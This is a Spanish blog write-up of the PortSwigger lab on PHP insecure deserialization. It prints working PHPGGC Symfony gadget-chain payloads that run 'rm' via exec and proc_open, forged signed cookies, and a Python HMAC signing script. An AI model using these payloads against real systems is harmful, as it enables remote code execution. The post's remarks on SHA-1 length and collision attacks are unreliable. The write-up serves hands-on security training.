JF0x0r's Blog
PortfolioBug Hunter ProfileGithub
  • Whoami
  • Aprender Go
    • 🐺¿Qué es GO 🦊
    • 🧠Packages
    • 🎃Modules
    • 🐢Variable - Tipos de Datos
    • 🧌Operadores Matematicos - Lógicos
    • 🥥Flujo If, For, While, Switch
    • 🌼Struct - Methods vs Functions
    • 📽️POO (Programming Oriented Object)
    • 🐯Interface - Interfaces
    • 🎱Punteros * &
    • 🐸Vectores/Arrays, Slices y Maps
    • 🫀El uso de Make en channels, slices, maps
    • 🧛‍♀️Errores en Go - Uso de err ≠ nil
    • 👁️GO Defer
    • 🦷GO Panic
    • 🦋GO Recover
    • 🐦Structs
    • 🐔WaitGroups Go
  • Pentester Lab
  • Guía de Estudio Hacking
  • Bug Bounty
    • 🍓Adobe
    • 🚀Nasa VDP
    • 🧀Figma
      • 🐙User Enumeration via Authentication Flow - Email Exposure
    • 🫐Syfe
    • 🍉Etoro
    • 🥭Glance Networks
  • PortSwigger WebAcademy
    • Server Side Topics
      • SQL Injection
        • 🐔Laboratorio: Inyección SQL ciega
        • 🍫Laboratorio: Datos Ocultos - Aprendiz
        • 🦍Laboratorio: Omitir inicio de sesión Bypass
        • 🔏Laboratorio: Calcular numero Columnas con UNION
        • 🪖Laboratorio: ataque UNION de inyección SQL , búsqueda de una columna que contiene texto
        • 🐧Laboratorio: ataque UNION de inyección SQL , recuperando datos de otras tablas
        • 🧛Laboratorio: ataque UNION de inyección SQL , recuperando múltiples valores en una sola columna
        • 🐬Laboratorio: Inyección SQL con errores condicionales
        • 🐈‍⬛Laboratorio: Inyección SQL basada en errores visibles
        • 💃Laboratorio: Inyección SQL ciega con retrasos de tiempo
        • 🐆Laboratorio: Inyección SQL ciega con retardos de tiempo y recuperación de información
        • 👑Laboratorio: Inyección SQL ciega con interacción fuera de banda
        • 🏞️Laboratorio: ataque de inyección SQL, consulta del tipo y versión de la base de datos en Oracle
        • 🪻Laboratorio: ataque SQLi, consulta del tipo y versión de la base de datos en MySQL y Microsoft
        • 💀Laboratorio: ataque de inyección SQL, enumerando el contenido de la base de datos en bases de datos
        • 🧀Laboratorio: Inyección SQL con omisión de filtro mediante codificación XML
      • Authentication
        • 🐟Laboratorio: Enumeracion de usernames via diferentes responses
        • 👩‍🦽Laboratorio: enumeración de nombres de usuario a través de respuestas sutilmente diferentes
        • ™️Laboratorio: enumeración de nombres de usuario mediante tiempos de respuesta
        • 🦷Laboratorio: protección de fuerza bruta rota, bloqueo de IP
        • 🧢Laboratorio: enumeración de nombres de usuario mediante bloqueo de cuenta
        • 🦠Laboratorio: protección de fuerza bruta rota, múltiples credenciales por solicitud
        • 🐛Laboratorio: bypass simple 2FA
        • 🐯Laboratorio: lógica rota 2FA
        • 👓Laboratorio: 2FA bypass usando un ataque por fuerza bruta
        • 👽Lab: Brute-forcing a stay-logged-in cookie
        • 🦋Laboratorio: Offline password cracking
        • 🧌Laboratorio: Password reset broken logic
        • 👁️Laboratorio: Basic password reset poisoning
        • 👂Laboratorio: Password reset poisoning via middleware
        • 🥻Laboratorio: Fuerza bruta de contraseña mediante cambio de contraseña
        • 🫁Laboratorio: Envenenamiento por restablecimiento de contraseña mediante etiquetas colgantes
      • Path Traversal
        • 🛻Laboratorio: File path traversal, simple case
        • 🦅Laboratorio: File path traversal, traversal sequences blocked with absolute path bypass
        • 🦉Laboratorio: recorrido de ruta de archivo , secuencias transversales eliminadas de forma no recursiv
        • 🍊Laboratorio: File path traversal, traversal sequences stripped with superfluous URL-decode
        • 🕷️Laboratorio: File path traversal, validation of file extension with null byte bypass
      • Command Injection OS
        • 🖥️Laboratorio: OS command injection, simple case
        • 🐹Laboratorio: Blind OS command injection with time delays
        • 👹Blind OS command injection with output redirection
        • 🧛‍♂️Laboratorio: Inyección ciega de comandos del SO con exfiltración de datos fuera de banda
        • 🦟Laboratorio: Inyección ciega de comandos del sistema operativo con interacción fuera de banda
      • Business Logic Vulnerabilities
        • 🧝‍♂️Laboratorio: Confianza excesiva en los controles del lado del cliente
        • 🧙‍♂️Laboratorio: Vulnerabilidad lógica de alto nivel
        • 🤩Laboratorio: Vulnerabilidad falla lógica de bajo nivel
        • 🎻Laboratorio: Manejo inconsistente de entradas excepcionales
        • 🏓Laboratorio: Inconsistent security controls
        • 🥭Laboratorio: Aislamiento débil en terminales de doble uso
        • 🧑‍✈️Laboratorio: Validación de flujo de trabajo insuficiente
        • 📀Laboratorio: Omisión de autenticación a través de una máquina de estado defectuosa
        • 🐦‍⬛Laboratorio: Aplicación defectuosa de las reglas comerciales
        • 🌵Laboratorio: falla en la lógica del dinero infinito
        • 🥑Laboratorio: omisión de autenticación mediante Oracle de cifrado
        • 🧊Lab: Bypassing access controls using email address parsing discrepancies
      • Information Disclosure Vulnerabilities
        • 🧟Laboratorio: Divulgación de información en mensajes de error
        • 🌵Laboratorio: divulgación de información en la página de depuración
        • 🍅Laboratorio: Divulgación del código fuente a través de archivos de respaldo
        • 🤿Laboratorio: omisión de autenticación mediante divulgación de información
        • 🏑Laboratorio: Divulgación de información en el historial de control de versiones
      • SSRF - Server-Side Request Forgery
        • 🧅Laboratorio: SSRF básico frente a otro sistema back-end
        • 🐮Laboratorio: SSRF con filtro de entrada basado en lista negra
        • 🌶️Laboratorio: SSRF con filtro de entrada basado en lista blanca
        • 💽Laboratorio: SSRF with filter bypass via open redirection vulnerability
        • ☎️Laboratorio: SSRF ciega con detección fuera de banda
        • 🥬Laboratorio: SSRF ciega con explotación Shellshock
        • 🐦Laboratorio: SSRF básico contra el servidor local
      • Acess Control
        • 🍑Laboratorio: funcionalidad de administración desprotegida
        • 🍉Laboratorio: funcionalidad de administración desprotegida con URL impredecible
        • 🐱Laboratorio: rol de usuario controlado por el parámetro de solicitud
        • 🐒Laboratorio: La función del usuario se puede modificar en el perfil del usuario
        • 🐴Laboratorio: el control de acceso basado en URL se puede eludir
        • 🍋Laboratorio: El control de acceso basado en métodos se puede eludir
        • 🎾Laboratorio: ID de usuario controlado por parámetro de solicitud
        • 🧆Laboratorio: ID de usuario controlado por parámetro de solicitud, con ID de usuario impredecibles
        • 🦑Laboratorio: ID de usuario controlado por parámetro de solicitud con fuga de datos en redirección
        • 😎Laboratorio: ID de usuario controlado por parámetro de solicitud con divulgación de contraseña
        • 🍗Laboratorio: Referencias directas a objetos inseguros
        • 🧀Laboratorio: proceso de varios pasos sin control de acceso en un solo paso
        • ⛄Laboratorio: Control de acceso basado en referentes
      • File Upload Vulnerabilities
        • 🛼Laboratorio: ejecución remota de código mediante carga de shell web
        • 🥦Laboratorio: carga de shell web mediante omisión de restricción de tipo de contenido
        • ⛵Laboratorio: carga de shell web mediante recorrido de ruta
        • 🛝Laboratorio: carga de shell web mediante omisión de la lista negra de extensiones
        • ⚾Laboratorio: carga de shell web a través de una extensión de archivo ofuscada
        • 🪖Laboratorio: carga de shell web mediante condición de carrera
      • Web Cache Deception
        • 🧀Laboratorio: Explotación del mapeo de rutas para el engaño de caché web
        • 🍨Laboratorio: Explotación de delimitadores de ruta para el engaño de caché web (v2)
        • 🪇Laboratorio: Explotación de la normalización del servidor de origen para el engaño de la caché web
        • 🍺Laboratorio: Explotación de la normalización del servidor de caché para el engaño de la caché web
        • ⚽Laboratorio: Explotación de reglas de caché de coincidencia exacta para el engaño de caché web
      • API Testing
        • 🥨Laboratorio: Explotación de un punto final de API mediante documentación
        • 🛝Laboratorio: Cómo encontrar y explotar un punto final de API no utilizado
        • 🧤Laboratorio: Explotación de una vulnerabilidad de asignación masiva
        • 🍒Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una cadena de co
        • 🥕Laboratorio: Explotación de la contaminación de parámetros del lado del servidor en una URL REST
      • XXE Injection - XML Entity
        • 🏸Laboratorio: Exploiting XXE using external entities to retrieve files
        • 🥾Laboratorio: Exploiting XXE to perform SSRF attacks
        • 🧑‍🎤Laboratorio: Blind XXE with out-of-band interaction
        • 🦉Laboratorio: Blind XXE with out-of-band interaction via XML parameter entities
        • 🌋Laboratorio: Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • 👾Laboratorio: Exploiting blind XXE to retrieve data via error messages
        • 🌍Laboratorio: Exploiting XXE to retrieve data by repurposing a local DTD
        • 🫀Laboratorio: Exploiting XInclude to retrieve files
        • 👁️Laboratorio: Exploiting XXE via image file upload
      • Race Conditions
        • 🗣️Mutexes Golang
        • ⛸️Laboratorio: Limit overrun race conditions
        • 👽Laboratorio: Bypassing rate limits via race conditions
        • 👩‍🦯Laboratorio: Multi-endpoint race conditions
        • 🧢Laboratorio: Single-Endpoint Race Conditions
        • 🐛Laboratorio: Partial Construction Race Condition
        • 🔩Laboratorio: Exploiting time-sensitive vulnerabilities
      • No-SQL Injection
        • 🪱Laboratorio: Detecting NoSQL injection
        • 💼Laboratorio: Exploiting NoSQL operator injection to bypass authentication
        • 🪖Laboratorio: Exploiting NoSQL injection to extract data
        • 🦺Laboratorio: Exploiting NoSQL operator injection to extract unknown fields
    • Client Side Topics
      • Cross-site scripting (XSS)
        • XSS Reflected
          • ⛑️Laboratorio: XSS reflejado en contexto HTML sin nada codificado
        • XSS Based DOM
          • 🍖Laboratorio: DOM XSS en document.write, el receptor usando la fuente location.search
        • XSS Stored
          • 🪢Laboratorio: Stored XSS into HTML context with nothing encoded
          • 🥌Laboratorio: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded
    • Advanced Topics
      • 0Auth
      • Insecure Deserialization
        • 🧀Laboratorio: Modificar objetos en serie
        • 🧅Laboratorio: Modificar los tipos de datos en serie
        • 🎋Laboratorio: Usando funcionalidad de la aplicación para explotar la desserialización insegura
        • 🎯Laboratorio: Inyección arbitraria de objetos en PHP
        • 🍿Laboratorio: Inyección arbitraria de objetos en PHP
        • 🕸️Laboratorio: Exploiting Java deserialization with Apache Commons
        • 🥷Laboratorio: Exploiting PHP deserialization with a pre-built gadget chain
        • 🏈Laboratorio: Exploiting Ruby deserialization using a documented gadget chain
        • 🎄Laboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de Java
        • 👨‍🦽Laboratorio: Desarrollo una cadena de gadget personalizada para la deserialización de PHP
  • Hacking Certifications
    • ACP - APISec University
      • 🌍API Security Fundamentals 2025
      • 🫀OWASP API Security Top 10 and Beyond!
      • 🏓API Authentication
      • 🥥API Documentation Best Practices
      • 🌲Securing API Servers
Powered by GitBook
On this page
  • Encontré una interfaz del servidor → Common Gateway Interface
  • El secret key de cgi-bin →
  • Ya encontré la forma para firmar y ejecutar la herramienta de la forma correcta:
  • Facilitando un poco la Explotación → Script python
  • Portswigger también ofrece un script de generación firma, en PHP →
  1. PortSwigger WebAcademy
  2. Advanced Topics
  3. Insecure Deserialization

Laboratorio: Exploiting PHP deserialization with a pre-built gadget chain

PreviousLaboratorio: Exploiting Java deserialization with Apache CommonsNextLaboratorio: Exploiting Ruby deserialization using a documented gadget chain

Last updated 5 months ago

Ya pillé cual es la debilidad que tiene la firma, usa sha-1 es de 128 bits si mal no estoy, es un error grave criptografico, podemos explotar la firma por criptoanalisis de colisión de hashes.

Las cookies quedan así sin embargo el token veo que está en base64 y lo decodeo y tiene más info:

Encontré una interfaz del servidor → Common Gateway Interface

Esa será la que nos dará info de que Framework de php usa y con base en ese usaremos el PHPGGC con el framework especifico para crear la carga util.

La verdad es que no me voy a matar la vida usando PHP sino más bien con el codespaces de github →

El secret key de cgi-bin →

Realmente esta es la clave ya que con esta clave secreta podremos generar la firma de una forma válida, porque ya estamos verificando mediante el gateway interface que php esa es la secret que usa para sus procesos de Signature.

  • r8aft5a14ggrol48kv2f84nznbs2hydi

Me voy a decantar por symfony/RCE13 tal vez en este caso por que el vector de ataque es Serializable.

Aqui ya me genero un objeto serializado con gadget Chains, ahora mi duda sería como, debería ponerlo dentro de la estructura de la cookie?

O:43:"Symfony\Component\Cache\Adapter\ApcuAdapter":3:{s:64:"Symfony\Component\Cache\Adapter\AbstractAdaptermergeByLifetime";s:9:"proc_open";s:58:"Symfony\Component\Cache\Adapter\AbstractAdapternamespace";a:0:{}s:57:"Symfony\Component\Cache\Adapter\AbstractAdapterdeferred";s:26:"rm /home/carlos/morale.txt";}

Voy a testear cambiando todo el token original de la cookie por el payload generado por la herramienta, y lo demás lo dejo tal cual exceptuando el access_token, a ese lo reemplazo con la secret_key que tome del cgi-bin.php a ver que tal.

//Cookie original
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fQ==","sig_hmac_sha1":"cfbe8ec8a06d33616c2da4680fb2ec1e2f64989b"}
//Token Original decodificado
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"nn4xl9n04g2hkbg4o01na1oqvlcxv2rq";}
//Token Payload de la herramienta PHPGGC
O:43:"Symfony\Component\Cache\Adapter\ApcuAdapter":3:{s:64:"Symfony\Component\Cache\Adapter\AbstractAdaptermergeByLifetime";s:9:"proc_open";s:58:"Symfony\Component\Cache\Adapter\AbstractAdapternamespace";a:0:{}s:57:"Symfony\Component\Cache\Adapter\AbstractAdapterdeferred";s:26:"rm /home/carlos/morale.txt";}
//(Token Payload + Token Original)+ Base64
O:43:"Symfony\Component\Cache\Adapter\ApcuAdapter":4:{s:64:"Symfony\Component\Cache\Adapter\AbstractAdaptermergeByLifetime";s:9:"proc_open";s:58:"Symfony\Component\Cache\Adapter\AbstractAdapternamespace";a:0:{}s:57:"Symfony\Component\Cache\Adapter\AbstractAdapterdeferred";s:26:"rm /home/carlos/morale.txt";s:7:"payload";O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"nn4xl9n04g2hkbg4o01na1oqvlcxv2rq";}}
Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6NDp7czo2NDoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJtZXJnZUJ5TGlmZXRpbWUiO3M6OToicHJvY19vcGVuIjtzOjU4OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcm5hbWVzcGFjZSI7YTowOnt9czo1NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fX0=
//Cookie Modificada
{"token":"Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6NDp7czo2NDoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJtZXJnZUJ5TGlmZXRpbWUiO3M6OToicHJvY19vcGVuIjtzOjU4OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcm5hbWVzcGFjZSI7YTowOnt9czo1NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOGFmdDVhMTRnZ3JvbDQ4a3YyZjg0bnpuYnMyaHlkaSI7fX0=","sig_hmac_sha1":"r8aft5a14ggrol48kv2f84nznbs2hydi"}
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fQ==","sig_hmac_sha1":"r8aft5a14ggrol48kv2f84nznbs2hydi"}

No me funcionó al parecer así, pero encontré algo vital (Encontré cual es la versión y cual es el framework PHP con base al error que me mostró) →

Jajajsjs, Symfony 4.3.6, listo con base haremos de nuevo todo el payload pero ajustamos la herramienta para correr la versión adecuada.

Tal vez nos sirva este, vamos a ver.

//Payload solo
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":1:{s:72:"Symfony\Component\Routing\Loader\Configurator\ImportConfiguratorparent";O:41:"Symfony\Component\Cache\Traits\RedisProxy":2:{s:54:"Symfony\Component\Cache\Traits\RedisProxyinitializer";O:80:"Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator":1:{s:9:"*parent";O:40:"Symfony\Component\Cache\Simple\Psr6Cache":1:{s:46:"Symfony\Component\Cache\Simple\Psr6Cachepool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":2:{s:55:"Symfony\Component\Cache\Adapter\PhpArrayAdaptervalues";a:1:{s:26:"rm /home/carlos/morale.txt";a:0:{}}s:64:"Symfony\Component\Cache\Adapter\PhpArrayAdaptercreateCacheItem";s:9:"proc_open";}}}s:48:"Symfony\Component\Cache\Traits\RedisProxyredis";s:26:"rm /home/carlos/morale.txt";}}
//Cookie modificada + Payload Tool PHPGGC
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"Symfony\Component\Routing\Loader\Configurator\ImportConfiguratorparent";O:41:"Symfony\Component\Cache\Traits\RedisProxy":2:{s:54:"Symfony\Component\Cache\Traits\RedisProxyinitializer";O:80:"Symfony\Component\DependencyInjection\Loader\Configurator\InstanceofConfigurator":1:{s:9:"*parent";O:40:"Symfony\Component\Cache\Simple\Psr6Cache":1:{s:46:"Symfony\Component\Cache\Simple\Psr6Cachepool";O:47:"Symfony\Component\Cache\Adapter\PhpArrayAdapter":2:{s:55:"Symfony\Component\Cache\Adapter\PhpArrayAdaptervalues";a:1:{s:26:"rm /home/carlos/morale.txt";a:0:{}}s:64:"Symfony\Component\Cache\Adapter\PhpArrayAdaptercreateCacheItem";s:9:"proc_open";}}}s:48:"Symfony\Component\Cache\Traits\RedisProxyredis";s:26:"rm /home/carlos/morale.txt";}}s:7:"payload";O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"nn4xl9n04g2hkbg4o01na1oqvlcxv2rq";}}
Tzo2NDoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvciI6Mjp7czo3MjoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvcnBhcmVudCI7Tzo0MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcVHJhaXRzXFJlZGlzUHJveHkiOjI6e3M6NTQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5aW5pdGlhbGl6ZXIiO086ODA6IlN5bWZvbnlcQ29tcG9uZW50XERlcGVuZGVuY3lJbmplY3Rpb25cTG9hZGVyXENvbmZpZ3VyYXRvclxJbnN0YW5jZW9mQ29uZmlndXJhdG9yIjoxOntzOjk6IipwYXJlbnQiO086NDA6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFNpbXBsZVxQc3I2Q2FjaGUiOjE6e3M6NDY6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFNpbXBsZVxQc3I2Q2FjaGVwb29sIjtPOjQ3OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFBocEFycmF5QWRhcHRlciI6Mjp7czo1NToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQaHBBcnJheUFkYXB0ZXJ2YWx1ZXMiO2E6MTp7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO2E6MDp7fX1zOjY0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFBocEFycmF5QWRhcHRlcmNyZWF0ZUNhY2hlSXRlbSI7czo5OiJwcm9jX29wZW4iO319fXM6NDg6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5cmVkaXMiO3M6MjY6InJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fX0=
{"token":"Tzo2NDoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvciI6Mjp7czo3MjoiU3ltZm9ueVxDb21wb25lbnRcUm91dGluZ1xMb2FkZXJcQ29uZmlndXJhdG9yXEltcG9ydENvbmZpZ3VyYXRvcnBhcmVudCI7Tzo0MToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcVHJhaXRzXFJlZGlzUHJveHkiOjI6e3M6NTQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5aW5pdGlhbGl6ZXIiO086ODA6IlN5bWZvbnlcQ29tcG9uZW50XERlcGVuZGVuY3lJbmplY3Rpb25cTG9hZGVyXENvbmZpZ3VyYXRvclxJbnN0YW5jZW9mQ29uZmlndXJhdG9yIjoxOntzOjk6IipwYXJlbnQiO086NDA6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFNpbXBsZVxQc3I2Q2FjaGUiOjE6e3M6NDY6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFNpbXBsZVxQc3I2Q2FjaGVwb29sIjtPOjQ3OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFBocEFycmF5QWRhcHRlciI6Mjp7czo1NToiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQaHBBcnJheUFkYXB0ZXJ2YWx1ZXMiO2E6MTp7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO2E6MDp7fX1zOjY0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFBocEFycmF5QWRhcHRlcmNyZWF0ZUNhY2hlSXRlbSI7czo5OiJwcm9jX29wZW4iO319fXM6NDg6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXFRyYWl0c1xSZWRpc1Byb3h5cmVkaXMiO3M6MjY6InJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fX0=","sig_hmac_sha1":"r8aft5a14ggrol48kv2f84nznbs2hydi"}

Ya encontré la forma para firmar y ejecutar la herramienta de la forma correcta:

Antes de ello ya pillé y la clave secreta cambia cada que iniciamos sesión, en este caso esta es la secret_key que tome en este preciso instante:

  • Secret_Key: 5hct6yp63i63noazpxm8cwpvj5g5ci3o

Symfony/RCE4 es el que realmente podemos usar ya que primero vemos que tiene dentro del rango de versiones a Symfony 4.3.6 y además de ello, yo creía que ese no servía porque en Type dice RCE: Function Call, entonces yo cuando tiraba el ‘rm /home/carlos/morale.txt’ me decía que tirará un function + parameter, pero EN REALIDAD ahi Estuvo TODO EL TIEMPO.

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

Exec es la función que permite ejecutar comandos y en el type muy bien lo dice RCE: Function Call, entonces tiramos de la herramienta →

O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapterpoolHash";i:1;s:58:"Symfony\Component\Cache\Adapter\ProxyAdaptersetInnerItem";s:4:"exec";}}
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==

Listo ya tenemos el token con secuencia de cadena seguida, ¿que procede ahora? Antes erradamente pensaba yo que dentro del token generado por la herramienta de phpggc debía meterle internamente a esos objetos la estructura del objeto de user:wiener y esas cosas pero realmente no es necesario, en un ataque de deserialización insegura por gadget chains lo que hacemos es explotar el comportamiento de el llamamiento de objetos magicos que a su vez llaman a otros métodos esto hace que el sistema se centre en ello, ya si una aplicación es más robusta seguramente tendríamos que pasarlos o no, tal vez, pero en este caso bajo este laboratorio simulando una posible aplicación del mundo digital, así es.

Facilitando un poco la Explotación → Script python

import base64
import hmac
import hashlib
import urllib.parse
import json

# Objeto serializado en formato base64
object_data = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=="

# Clave secreta
secret_key = "lbjiy8s4r3c8qmi55gexkjvdekn2mebv" #Sabemos que una buena practica en la vida real sería tener la cookie en variable de entorno.

# Crear la firma HMAC-SHA1
sig_hmac_sha1 = hmac.new(secret_key.encode(), object_data.encode(), hashlib.sha1).hexdigest()

# Generar la cookie en formato JSON con los valores token y sig_hmac_sha1
cookie_data = {
    "token": object_data,
    "sig_hmac_sha1": sig_hmac_sha1
}

# Convertir el diccionario a JSON
cookie_json = json.dumps(cookie_data)

# Codificar la cookie en formato URL
encoded_cookie = urllib.parse.quote(cookie_json)

print(encoded_cookie)

Portswigger también ofrece un script de generación firma, en PHP →

<?php
